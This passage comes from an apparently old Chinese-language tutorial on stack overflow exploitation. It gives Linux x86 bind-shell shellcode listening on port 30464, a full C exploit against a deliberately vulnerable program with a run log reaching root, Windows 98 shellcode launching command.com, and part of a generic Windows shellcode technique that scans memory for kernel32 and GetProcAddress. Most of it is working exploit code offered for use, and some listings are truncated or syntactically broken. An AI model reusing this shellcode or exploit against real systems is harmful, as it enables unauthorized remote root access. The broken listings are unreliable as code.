"\x89\x46\x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----

dup2(cli,0)的汇编代码
------------------------------------------------------------------------
----
/* 第一个参数为 %ebx, 第二个参数为 %ecx */
char code[]=
/* %eax 里面是刚才accept调用的返回值, */
/* 客户的文件描述符cli . */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80" /* int $0x80 */
------------------------------------------------------------------------
----

现在该把这些所有的细节都串起来,形成一个新的shell的时候了。

new shellcode
------------------------------------------------------------------------
----
char shellcode[]=
00 "\x31\xc0" /* xorl %eax,%eax */
02 "\xb0\x02" /* movb $0x2,%al */
04 "\xcd\x80" /* int $0x80 */
06 "\x85\xc0" /* testl %eax,%eax */
08 "\x75\x43" /* jne 0x43 */
/* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止 */
/* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0) */
0a "\xeb\x43" /* jmp 0x43 */
/* 当fork()==0 的时候,表明是子进程 */
/* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5 */

0c "\x5e" /* popl %esi */
0d "\x31\xc0" /* xorl %eax,%eax */
0f "\x31\xdb" /* xorl %ebx,%ebx */
11 "\x89\xf1" /* movl %esi,%ecx */
13 "\xb0\x02" /* movb $0x2,%al */
15 "\x89\x06" /* movl %eax,(%esi) */
17 "\xb0\x01" /* movb $0x1,%al */
19 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
1c "\xb0\x06" /* movb $0x6,%al */
1e "\x89\x46\x08" /* movl %eax,0x8(%esi) */
21 "\xb0\x66" /* movb $0x66,%al */
23 "\xb3\x01" /* movb $0x1,%bl */
25 "\xcd\x80" /* int $0x80 */
/* 执行socket(),eax里面为返回值soc文件描述符 */

27 "\x89\x06" /* movl %eax,(%esi) */
29 "\xb0\x02" /* movb $0x2,%al */
2d "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
2f "\xb0\x77" /* movb $0x77,%al */
31 "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
35 "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
38 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
3b "\x31\xc0" /* xorl %eax,%eax */
3d "\x89\x46\x10" /* movl %eax,0x10(%esi) */
40 "\xb0\x10" /* movb $0x10,%al */
42 "\x89\x46\x08" /* movl %eax,0x8(%esi) */
45 "\xb0\x66" /* movb $0x66,%al */
47 "\xb3\x02" /* movb $0x2,%bl */
49 "\xcd\x80" /* int $0x80 */
/* 执行bind() */

4b "\xeb\x04" /* jmp 0x4 */
/* 越过下面的两个跳转 */

4d "\xeb\x55" /* jmp 0x55 */
/* 跳到0x4f+0x55=0xa4 */

4f "\xeb\x5b" /* jmp 0x5b */
/* 跳到0x51+0x5b=0xac */

51 "\xb0\x01" /* movb $0x1,%al */
53 "\x89\x46\x04" /* movl %eax,0x4(%esi) */
56 "\xb0\x66" /* movb $0x66,%al */
58 "\xb3\x04" /* movb $0x4,%bl */
5a "\xcd\x80" /* int $0x80 */
/* 执行listen() */

5c "\x31\xc0" /* xorl %eax,%eax */
5e "\x89\x46\x04" /* movl %eax,0x4(%esi) */
61 "\x89\x46\x08" /* movl %eax,0x8(%esi) */
64 "\xb0\x66" /* movb $0x66,%al */
66 "\xb3\x05" /* movb $0x5,%bl */
68 "\xcd\x80" /* int $0x80 */
/* 执行accept(),eax里面为返回值cli文件描述符 */

6a "\x88\xc3" /* movb %al,%bl */
6c "\xb0\x3f" /* movb $0x3f,%al */
6e "\x31\xc9" /* xorl %ecx,%ecx */
70 "\xcd\x80" /* int $0x80 */
72 "\xb0\x3f" /* movb $0x3f,%al */
74 "\xb1\x01" /* movb $0x1,%cl */
76 "\xcd\x80" /* int $0x80 */
78 "\xb0\x3f" /* movb $0x3f,%al */
7a "\xb1\x02" /* movb $0x2,%cl */
7c "\xcd\x80" /* int $0x80 */
/* 执行三个dup2() */

7e "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
/* %eax="/bin" */
83 "\x89\x06" /* movl %eax,(%esi) */
85 "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
/* %eax="/sh/" */
8a "\x89\x46\x04" /* movl %eax,0x4(%esi) */
8d "\x31\xc0" /* xorl %eax,%eax */
8f "\x88\x46\x07" /* movb %al,0x7(%esi) */
92 "\x89\x76\x08" /* movl %esi,0x8(%esi) */
95 "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
98 "\xb0\x0b" /* movb $0xb,%al */
9a "\x89\xf3" /* movl %esi,%ebx */
9c "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
9f "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
a2 "\xcd\x80" /* int $0x80 */
/* 执行execve() */
/* 运行/bin/sh() */

a4 "\x31\xc0" /* xorl %eax,%eax */
a6 "\xb0\x01" /* movb $0x1,%al */
a8 "\x31\xdb" /* xorl %ebx,%ebx */
aa "\xcd\x80" /* int $0x80 */
/* 执行exit() */

ac "\xe8\x5b\xff\xff\xff" /* call -0xa5 */
/* 执行0x0c处的指令 */

b1
------------------------------------------------------------------------
----

好,长长的shell终于写完了,下面就是攻击程序了。

exploit4.c
------------------------------------------------------------------------
----
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>

#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 200
#define NOP 0x90

char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x02" /* movb $0x2,%al */
"\xcd\x80" /* int $0x80 */
"\x85\xc0" /* testl %eax,%eax */
"\x75\x43" /* jne 0x43 */
"\xeb\x43" /* jmp 0x43 */
"\x5e" /* popl %esi */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80" /* int $0x80 */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80" /* int $0x80 */
"\xeb\x04" /* jmp 0x4 */
"\xeb\x55" /* jmp 0x55 */
"\xeb\x5b" /* jmp 0x5b */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80" /* int $0x80 */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x01" /* movb $0x1,%cl */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x02" /* movb $0x2,%cl */
"\xcd\x80" /* int $0x80 */
"\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
"\x89\x06" /* movl %eax,(%esi) */
"\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x01" /* movb $0x1,%al */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\x5b\xff\xff\xff" /* call -0xa5 */

unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}

long getip(char *name)
{
struct hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can"t resolve host.\n");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return ip;
}

int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}

int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the shell\n");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can"t create socket\n");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can"t connect to the shell\n");
exit(0);
}
return sockfd;
}

void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
int sockfd;

if(argc>1)
offset=atoi(argv[1]);

sp=get_sp();
addr=sp-offset;

for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];

buff[bsize-1]="\0"

printf("Jump to 0x%08x\n",addr);

if(fork()==0)
{
execl("./vulnerable","vulnerable",buff,0);
exit(0);
}
sleep(5);
sockfd=connect_sh(getip("127.0.0.1"));
exec_sh(sockfd);
}
------------------------------------------------------------------------
----
算法很简单,先生成溢出串,格式为:NNNNSSSSAAAA。然后起一个子进程执行目标
程序
来模拟网络daemon,参数为我们的字符串。好,堆栈溢出发生了。我们的
shellcode被
执行,那么在30464端口就会有server在listen了。

父进程睡五秒,等待这些完成。就连接本机的端口30464。连接建立后,从socket
读取
收到的字符串,打印到标准输出,从标准输入读取字符串,传到socket的server端



下面来试一试:

我们先写一个漏洞程序:
vulnerable.C
------------------------------------------------------------------------
----

#include <stdio.h>

int main(int argc,char ** argv)
{
char buffer[1000];
printf("I am here%x,buffer%d\n",buffer,strlen(argv[1]));
strcpy(buffer,argv[1]);

return 0;
}
------------------------------------------------------------------------
----

[nkl10]$ ./exploit
Jump to 0xbffff63c
I am herebffff280,buffer1224
Connect to the shell
Can"t connect to the shell
看到了吗?我在vulnerable.C里面加入了一个printf,打印buffer的首地址,这样
就可以
不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956来进行偏移。

[nkl10]$./exploit 956
Jump to 0xbffff280
I am herebffff280,buffer1224
connect to shell
whoami
root
id
uid=0(root)......
uname -a
Linux localhost.localdomain 2.2.5-15。。。


嘿嘿,大功告成了。

---------------------------------------------------------------

window系统下的堆栈溢出--原理篇
这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序

堆栈溢出漏洞。

让我们从头开始。windows 98第二版

首先,我们来写一个问题程序:
#include <stdio.h>

int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++)
printf("\\0x%x",name[i]);
}

相信大家都看出来了,gets(name)对name数组没有作边界检查。那么我们可以给程

一个很长的串,肯定可以覆盖堆栈中的返回地址。

C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0
x61\0x61
\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0x61\0
x61\0x61

到这里,出现了那个熟悉的对话框“该程序执行了非法操作。。。”,太好了,点

详细信息按钮,看到EIP的值是0x61616161,哈哈,对话框还会把返回地址告诉我
们。
这个功能太好了,我们可以选择一个序列的输入串,精确的确定存放返回地址的偏
移位置。

C:\Program Files\DevStudio\MyProjects\bo\Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940

\0x31\0x32\0x33\0x34\0x35\0x36\0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0
x32\0x31
\0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0
x30\0x32
到这里,又出现了那个熟悉的对话框“改程序执行了非法操作。。。”,点击详细
信息
按钮,下面是详细信息:

VUNERABLE 在 00de:32363235 的模块
<未知> 中导致无效页错误。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:

Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005
0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78
bff8b86c

哦哦,EIP的内容为0x32363235,就是2625,EBP的内容为0x32343233,就是2423,计

一下可以知道,在堆栈中,从name变量地址开始偏移36处,是EBP的地址,从name
变量
地址开始偏移40处,是ret的地址。我们可以给name数组输入我们精心编写的
shellcode。
我们只要把name的开始地址放在溢出字符串的地址40就可以了。那么,name的开始
地址
是多少呢?
通过上面的stack dump 我们可以看到,当前ESP所指向的地址0x0064fe00,内容为

0x32383237,那么计算得出,name的开始地址为:0x0064fe00-44=0x64fdd4。在
windows
系统,其他运行进程保持不变的情况下。我们每次执行vunera~1的堆栈的开始地址

是相同的。也就是说,每次运行,name的地址都是0x64fdd4。

讲到这里,大家一定已经发现了这样一个情况:在win系统中,由于有地址冲突检
测,
出错时寄存器影像和堆栈影像,使得我们对堆栈溢出漏洞可以进行精确的分析
溢出偏移地址。这就使我们可以精确的方便的寻找堆栈溢出漏洞。

OK,万事具备,只差shellcode了。

首先,考虑一下我们的shellcode要作什么?显然,根据以往的经验,我们想开一

dos窗口,这样在这个窗口下,我们就可以作很多事情。

开一个dos窗口的程序如下:
#include <windows.h>
#include <winbase.h>

typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;

char dllbuf[11] = "msvcrt.dll"
char sysbuf[7] = "system"
char cmdbuf[16] = "command.com"


LibHandle = LoadLibrary(dllbuf);

ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

(ProcAdd) (cmdbuf);

return 0;
}

这个程序有必要详细解释一下。我们知道执行一个command.com就可以获得一个
dos窗口。在C库函数里面,语句system(command.com);将完成我们需要的功能。

但是,windows不像UNIX那样使用系统调用来实现关键函数。对于我们的程序来说

windows通过动态链接库来提供系统函数。这就是所谓的Dll"s。

因此,当我们想调用一个系统函数的时候,并不能直接引用他。我们必须找到那个

包含此函数的动态链接库,由该动态链接库提供这个函数的地址。DLL本身也有一

基本地址,该DLL每一次被加载都是从这个基本地址加载。比如,system函数由
msvcrt.dll
(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都从
0x78000000地址开始。system函数位于msvcrt.dll的一个固定偏移处(这个偏移地

只与msvcrt.dll的版本有关,不同的版本可能偏移地址不同)。我的系统上,
msvcrt.dll版本为(v6.00.8397.0)。system的偏移地址为0x019824。

所以,要想执行system,我们必须首先使用LoadLibrary(msvcrt.dll)装载动态链接

msvcrt.dll,获得动态链接库的句柄。然后使用GetProcAddress(LibHandle,
system)
获得 system的真实地址。之后才能使用这个真实地址来调用system函数。

好了,现在可以编译执行,结果正确,我们得到了一个dos框。

现在对这个程序进行调试跟踪汇编语言,可以得到:
15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;现在,eax的值为0x78019824就是system的真实地址。
;这个地址对于我的机器而言是唯一的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆栈传递参数,只有一个参数,就是字符串"command.com"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4

现在我们可以写出一段汇编代码来完成system,看以看我们的执行system调用的代

是否能够像我们设计的那样工作:

#include <windows.h>
#include <winbase.h>

void main()
{

LoadLibrary("msvcrt.dll");

__asm {
mov esp,ebp ;把ebp的内容赋值给esp
push ebp ;保存ebp,esp-4
mov ebp,esp ;给ebp赋新值,将作为局部变量
的基指针
xor edi,edi ;
push edi ;压入0,esp-4,
;作用是构造字符串的结尾\0字符

sub esp,08h ;加上上面,一共有12个字节,
;用来放"command.com"。
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串"command.com".
lea eax,[ebp-0ch] ;
push eax ;串地址作为参数入栈
mov eax, 0x78019824 ;
call eax ;调用system
}
}
编译,然后运行。好,DOS框出来了。在提示符下输入dir,copy......是不是想起

当年用286的时候了?

敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我
们的
程序已经把堆栈指针搞乱了。

对上面的算法进行优化,现在我们可以写出shellcode如下:
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

0xFF,0xD0 /*call eax */
};

还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个
shellcode:
#include <windows.h>
#include <winbase.h>
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

0xFF,0xD0 /*call eax */
};

int main() {
int *ret;
LoadLibrary("msvcrt.dll");

ret = (int *)&ret + 2; //ret 等于main()的返回地址
//(+2是因为:有push ebp ,否则加1就可以了。)

(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地
址。

}
编译运行,得到dos对话框。

现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计

偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆

栈溢出
的能力了,下面,我们通过实战来真正掌握他。

--------------------------------------------------------------

WINDOWS的SHELLCODE编写高级技巧

作者:yuange

unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出
再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SHELLCODE编写一般都比
较简单。但WINDOWS系统往往不提供登陆服务,所以溢出攻击的SHELLCODE往往要提供SOCKET
连接,要加载程序得到SHELL等,而WINDOWS的系统调用int2e接口又不如unix系统调用int80
规范,所以一般都使用API,而API函数地址又因为系统版本的不同而不一样,所以要编写
WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。

经过一段时间的思考,得到了WINDOWS下编写SHELLCODE的比教好的办法。
1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法,这样只要知道溢出
点大致范围就可以了。
2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆盖的RET地址后面放一个JMP
ESP功能的指令地址就可以定位了。
3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址,54 C3,或者FF E4
、C3这个一个语言的WINDOWS地址固定,也很好找这个地址。

4、SHELLCODE直接使用C语言编写,方便编写、修改、调试。

5、SHELLCODE统一编码,满足应用条件对SHELLCODE字符的限制,用一段小汇编代码解
码,这样编写SHELLCODE就可以不用考虑特殊字符了。
6、通信加密,对付防火墙,实现FTP功能,实现内存直接接管WEB服务等的高级应用。

下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用
GetProcAddress定位,要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个
API了。那这两个API的地址又怎么解决呢,LoadLibraryA这个API在系统库KERNEL32.DLL里
面,也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和
GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll,所以解决办法就是在
内存里面找到这个系统库和API地址,所幸知道了WINDOWS的模块数据结构也就不难了,主要
是增加异常结构处理 。下面是VC6.0程序代码:

void shellcodefn()
{
int *except[3];
FARPROC procgetadd=0;
char *stradd;
int imgbase,fnbase,i,k,l;
HANDLE libhandle;
_asm {
jmp nextcall
getstradd: pop stradd
lea EDI,except
mov eax,dword ptr FS:[0]
mov dword ptr [edi+0x08],eax
mov dword ptr FS:[0],EDI
}
except[0]=0xffffffff;
except[1]=stradd-0x07;
/* 保存异常结构链和修改异常结构链,SHELLCODE接管异常 */

imgbase=0x77e00000;
/* 搜索KERNEL32.DLL 的起始其实地址 */

call getexceptretadd
}
/* 得到异常后的返回地址 */
for(;imgbase<0xbffa0000,procgetadd==0;){
imgbase+=0x10000;
/* 模块地址是64K为单位,加快速度*/
if(imgbase==0x78000000) imgbase=0xbff00000;
/* 如果到这还没有搜索到,那可能是WIN9X系统 */
if(*( WORD *)imgbase=='ZM'&& *(WORD *)
(imgbase+*(int *)(imgbase+0x3c))=='EP'){
/* 模块结构的模块头 */
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
k=*(int *)(fnbase+0xc)+imgbase;
if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
/* 模块名 */
libhandle=imgbase;
/* 得到模块头地址,就是模块句柄 */
k=imgbase+*(int *)(fnbase+0x20);
for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor'){
/* 引出名 */
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
k+=*(int *)(fnbase+0x10)-1;
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
procgetadd=k+imgbase;
/* API地址 */
break;
}
}
}
}
}
// 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址
// 注意这儿处理了搜索页面不在情况。

_asm{
lea edi,except
mov eax,dword ptr [edi+0x08]
mov dword ptr fs:[0],eax
}
/* 恢复异常结构链 */


if(procgetadd==0) goto die ;
/* 如果没找到GetProcAddress地址死循环 */
die: goto die ;

_asm{

getexceptretadd: pop eax
push eax
mov edi,dword ptr [stradd]
mov dword ptr [edi-0x0e],eax
ret
/* 得到异常后的返回地址,并填写到异常处理模块 */

/* 异常处理模块 */
errprogram: mov eax,dword ptr [esp+0x0c]
add eax,0xb8
mov dword ptr [eax],0x11223344 //stradd-0xe
/* 修改异常返回EIP指针 */
xor eax,eax //2
/* 不提示异常 */
ret //1
/* 异常处理返回 */
execptprogram: jmp errprogram //2 bytes stradd-7
nextcall: call getstradd //5 bytes
}
}